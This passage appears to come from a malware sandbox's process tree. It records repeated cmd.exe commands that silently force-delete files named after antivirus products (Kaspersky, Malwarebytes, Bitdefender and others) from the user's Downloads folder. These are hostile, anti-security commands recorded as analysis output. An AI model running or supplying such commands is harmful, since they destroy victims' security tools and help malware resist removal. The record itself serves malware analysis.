  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4196
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3924
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4464
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5072
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4420
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1984
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4028
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3160
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2788
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4476
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4204
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4160
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1772
- C:\Windows\SYSTEM32\cmd.exe
